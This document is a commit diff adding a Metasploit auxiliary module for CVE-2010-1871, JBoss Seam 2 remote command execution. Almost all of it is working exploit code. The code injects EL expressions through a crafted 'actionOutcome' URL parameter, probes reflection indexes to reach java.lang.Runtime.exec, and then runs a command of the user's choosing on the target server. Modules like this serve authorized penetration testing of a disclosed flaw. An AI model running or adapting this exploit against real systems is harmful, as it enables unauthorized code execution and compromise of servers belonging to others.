Add CVE-2010-1871 (Feature #5922)
parent
a9ebfbd604
commit
453082678f
|
@ -0,0 +1,98 @@
|
|||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'JBoss seam remote command execution',
|
||||
'Description' => %q{
|
||||
JBoss Seam 2 (jboss-seam2), as used in JBoss Enterprise Application Platform
|
||||
4.3.0 for Red Hat Linux, does not properly sanitize inputs for JBoss Expression
|
||||
Language (EL) expressions, which allows remote attackers to execute arbitrary code
|
||||
via a crafted URL.
|
||||
|
||||
NOTE: this is only a vulnerability when the Java Security Manager is not properly
|
||||
configured.
|
||||
},
|
||||
'Author' => [ 'guerrino di massa' ],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
[ 'CVE', '2010-1871' ],
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'DisclosureDate' => 'Jul 19 2010'))
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(8080),
|
||||
OptString.new('JBOSS_ROOT',[ true, 'JBoss root directory', '/']),
|
||||
OptString.new('CMD', [ true, "The command to execute."])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def run
|
||||
jbr = datastore['JBOSS_ROOT']
|
||||
cmd_enc = ""
|
||||
cmd_enc << Rex::Text.uri_encode(datastore["CMD"])
|
||||
|
||||
flag_found_one = 0
|
||||
flag_found_two = 0
|
||||
|
||||
uri_part_1 = "seam-booking/home.seam?actionOutcome=/pwn.xhtml?pwned%3d%23{expressions.getClass().forName('java.lang.Runtime').getDeclaredMethods()["
|
||||
uri_part_2 = "].invoke(expressions.getClass().forName('java.lang.Runtime').getDeclaredMethods()["
|
||||
uri_part_3 = "].invoke(null),'"
|
||||
|
||||
print_status("Finding getDeclaredMethods() indexes... (0 to 24)")
|
||||
|
||||
25.times do |index|
|
||||
req = jbr + uri_part_1 + index.to_s + "]}"
|
||||
|
||||
res = send_request_cgi(
|
||||
{
|
||||
'uri' => req,
|
||||
'method' => 'GET',
|
||||
}, 20)
|
||||
|
||||
if (res.headers['Location'] =~ %r(java.lang.Runtime.exec\%28java.lang.String\%29))
|
||||
flag_found_one = index
|
||||
print_status("Found right index at [" + index.to_s + "]")
|
||||
elsif (res.headers['Location'] =~ %r(java.lang.Runtime\+java.lang.Runtime.getRuntime))
|
||||
print_status("Found right index at [" + index.to_s + "]")
|
||||
flag_found_two = index
|
||||
else
|
||||
print_status("Index [" + index.to_s + "]")
|
||||
end
|
||||
end
|
||||
|
||||
if (flag_found_one > 0 && flag_found_two > 0 )
|
||||
print_status("Target appears VULNERABLE!")
|
||||
print_status("Sending remote command:" + datastore["CMD"])
|
||||
|
||||
req = jbr + uri_part_1 + flag_found_one.to_s + uri_part_2 + flag_found_two.to_s + uri_part_3 + cmd_enc + "')}"
|
||||
|
||||
res = send_request_cgi(
|
||||
{
|
||||
'uri' => req,
|
||||
'method' => 'GET',
|
||||
}, 20)
|
||||
|
||||
if (res.headers['Location'] =~ %r(pwned=java.lang.UNIXProcess))
|
||||
print_status("Exploited successfully")
|
||||
else
|
||||
print_status("Exploit failed.")
|
||||
end
|
||||
else
|
||||
print_error("Target appears not vulnerable!")
|
||||
end
|
||||
end
|
||||
end
|
Loading…
Reference in New Issue